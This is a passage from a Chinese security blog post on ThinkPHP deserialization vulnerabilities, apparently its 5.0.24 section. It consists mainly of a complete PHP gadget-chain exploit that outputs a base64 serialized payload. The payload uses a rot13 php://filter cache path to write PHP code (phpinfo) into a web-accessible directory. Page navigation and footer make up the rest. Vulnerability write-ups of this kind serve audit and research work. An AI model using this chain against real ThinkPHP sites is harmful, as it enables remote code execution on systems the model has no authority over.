class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">cache</span>\<span class="title">driver</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">cache</span>\<span class="title">Driver</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">File</span> <span class="keyword">extends</span> <span class="title">Driver</span></span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> $tag;</span><br><span class="line">    <span class="keyword">protected</span> $options = [];</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;tag = <span class="string">'nocatch'</span>;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;options = [</span><br><span class="line">            <span class="string">'cache_subdir'</span>=&gt;<span class="keyword">false</span>,</span><br><span class="line">            <span class="string">'prefix'</span>=&gt;<span class="string">''</span>,</span><br><span class="line">            <span class="string">'path'</span>=&gt;<span class="string">'php://filter/write=string.rot13/resource=./static/&lt;?cuc cucvasb();?&gt;'</span>,</span><br><span class="line">            <span class="string">'data_compress'</span>=&gt;<span class="keyword">false</span>,</span><br><span class="line">        ];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">console</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">session</span>\<span class="title">driver</span>\<span class="title">Memcached</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Output</span></span>&#123;</span><br><span class="line">    <span class="keyword">private</span> $handle = <span class="keyword">null</span>;</span><br><span class="line">    <span class="keyword">protected</span> $styles = [];</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;styles = [<span class="string">'removeWhereField'</span>];</span><br><span class="line">        <span class="keyword">$this</span>-&gt;handle = <span class="keyword">new</span> Memcached();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">model</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">console</span>\<span class="title">Output</span>;</span><br><span class="line"><span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">Relation</span></span>&#123;</span><br><span class="line">      <span class="keyword">protected</span> $query;</span><br><span class="line">      <span class="keyword">protected</span> $foreignKey;</span><br><span class="line">      <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;query = <span class="keyword">new</span> Output();</span><br><span class="line">        <span class="keyword">$this</span>-&gt;foreignKey = <span class="string">"aaaaaaaaa"</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">relation</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">Relation</span>;</span><br><span class="line"><span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">OneToOne</span> <span class="keyword">extends</span> <span class="title">Relation</span></span>&#123;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">relation</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">HasOne</span> <span class="keyword">extends</span> <span class="title">OneToOne</span></span>&#123;</span><br><span class="line">    </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">relation</span>\<span class="title">HasOne</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">console</span>\<span class="title">Output</span>;</span><br><span class="line"><span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">Model</span></span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> $append = [];</span><br><span class="line">    <span class="keyword">protected</span> $error;</span><br><span class="line">    <span class="keyword">protected</span> $parent;</span><br><span class="line">     <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;append = [<span class="string">'yemoli'</span>=&gt;<span class="string">'getError'</span>];</span><br><span class="line">        <span class="keyword">$this</span>-&gt;error = <span class="keyword">new</span> HasOne();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">process</span>\<span class="title">pipes</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">concern</span>\<span class="title">Conversion</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">Pivot</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Windows</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">private</span> $files = [];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;files=[<span class="keyword">new</span> Pivot()];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">model</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">Model</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Pivot</span> <span class="keyword">extends</span> <span class="title">Model</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">process</span>\<span class="title">pipes</span>\<span class="title">Windows</span>;</span><br><span class="line"><span class="keyword">echo</span> base64_encode(serialize(<span class="keyword">new</span> Windows()));</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h2 id="参考链接-2"><a href="#参考链接-2" class="headerlink" title="参考链接"></a>参考链接</h2><blockquote>
<p><a href="https://www.anquanke.com/post/id/196364an" target="_blank" rel="noopener">https://www.anquanke.com/post/id/196364an</a></p>
</blockquote>

      
    </div>
    
    
    

    

    
      <div>
        <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
  <div>坚持原创技术分享，您的支持将鼓励我继续创作！</div>
  <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
    <span>Donate</span>
  </button>
  <div id="QR" style="display: none;">

    
      <div id="wechat" style="display: inline-block">
        <img id="wechat_qr" src="/images/wechatpay.jpg" alt="夜莫离、 WeChat Pay">
        <p>WeChat Pay</p>
      </div>
    

    
      <div id="alipay" style="display: inline-block">
        <img id="alipay_qr" src="/images/alipay.jpg" alt="夜莫离、 Alipay">
        <p>Alipay</p>
      </div>
    

    

  </div>
</div>

      </div>
    

    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/代码审计/" rel="tag"># 代码审计</a>
          
        </div>
      

      
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/2020/02/29/WeCenter-V3-3-4漏洞复现/" rel="next" title="WeCenter V3.3.4漏洞复现">
                <i class="fa fa-chevron-left"></i> WeCenter V3.3.4漏洞复现
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>



    <div class="post-spread">
      
    </div>
  </div>


          </div>
          


          

  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            Table of Contents
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            Overview
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope="" itemtype="http://schema.org/Person">
            
              <p class="site-author-name" itemprop="name">夜莫离、</p>
              <p class="site-description motion-element" itemprop="description"></p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/archives/">
              
                  <span class="site-state-item-count">58</span>
                  <span class="site-state-item-name">posts</span>
                </a>
              </div>
            

            

            
              
              
              <div class="site-state-item site-state-tags">
                <a href="/tags/index.html">
                  <span class="site-state-item-count">16</span>
                  <span class="site-state-item-name">tags</span>
                </a>
              </div>
            

          </nav>

          

          
            <div class="links-of-author motion-element">
                
                  <span class="links-of-author-item">
                    <a href="https://github.com/yemoli" target="_blank" title="GitHub">
                      
                        <i class="fa fa-fw fa-github"></i>GitHub</a>
                  </span>
                
            </div>
          

          
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-block">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                Links
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="https://chxing.xyz/" title="Bling_Dog" target="_blank">Bling_Dog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.smi1e.top/" title="Smi1e" target="_blank">Smi1e</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://altman.vip/" title="Altman" target="_blank">Altman</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.virtua1.cn/" title="Virtua1" target="_blank">Virtua1</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.zhaoj.in/" title="赵" target="_blank">赵</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.dongzt.cn/" title="Alkaid" target="_blank">Alkaid</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://cdusec.com/" title="CDUSEC" target="_blank">CDUSEC</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://cdusec.happyhacking.top/" title="CDUSEC内部博客" target="_blank">CDUSEC内部博客</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://jjhpkcr.xyz/" title="江江河畔砍柴人" target="_blank">江江河畔砍柴人</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.youknowi.xin/" title="图先生" target="_blank">图先生</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://a3ura.github.io/" title="a3ura" target="_blank">a3ura</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.recorday.cn/" title="C0d3r1iu" target="_blank">C0d3r1iu</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.iloveflag.com/" title="醉梦半醒" target="_blank">醉梦半醒</a>
                  </li>
                
              </ul>
            </div>
          

          

        </div>
      </section>

      
      <!--noindex-->
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">

            
              
            

            
              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#5-1-x"><span class="nav-number">1.</span> <span class="nav-text">5.1.x</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#代码分析"><span class="nav-number">1.1.</span> <span class="nav-text">代码分析</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#payload编写"><span class="nav-number">1.2.</span> <span class="nav-text">payload编写</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#参考链接"><span class="nav-number">1.3.</span> <span class="nav-text">参考链接</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#5-2-x"><span class="nav-number">2.</span> <span class="nav-text">5.2.x</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#代码分析-1"><span class="nav-number">2.1.</span> <span class="nav-text">代码分析</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#payload编写-1"><span class="nav-number">2.2.</span> <span class="nav-text">payload编写</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#参考链接-1"><span class="nav-number">2.3.</span> <span class="nav-text">参考链接</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#5-0-24"><span class="nav-number">3.</span> <span class="nav-text">5.0.24</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#代码分析-2"><span class="nav-number">3.1.</span> <span class="nav-text">代码分析</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#payload编写-2"><span class="nav-number">3.2.</span> <span class="nav-text">payload编写</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#参考链接-2"><span class="nav-number">3.3.</span> <span class="nav-text">参考链接</span></a></li></ol></li></ol></div>
            

          </div>
        </section>
      <!--/noindex-->
      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; 2018 &mdash; <span itemprop="copyrightYear">2020</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">夜莫离、</span>

  
</div>


  <!-- <div class="powered-by">Powered by <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a></div> 



  <span class="post-meta-divider">|</span>



  <div class="theme-info">Theme &mdash; <a class="theme-link" target="_blank" href="https://github.com/iissnan/hexo-theme-next">NexT.Mist</a> v5.1.4</div>-->



<div class="theme-info">
 <div class="powered-by"></div>
 <span class="post-count">博客全站共63.1k字</span>
</div>
        







        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    

  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  


  











  
  
    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
  

  
  
    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
  

  
  
    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
  

  
  
    <script type="text/javascript" src="/lib/canvas-nest/canvas-nest.min.js"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>



  
  

  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>



  


  




	





  





  












  





  

  

  

  
  

  

  

  

  
<script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.0/canvas-nest.min.js"></script>

<!-- 页面点击小红心 -->
<script type="text/javascript" src="/js/src/love.js"></script>
</body>
</html>
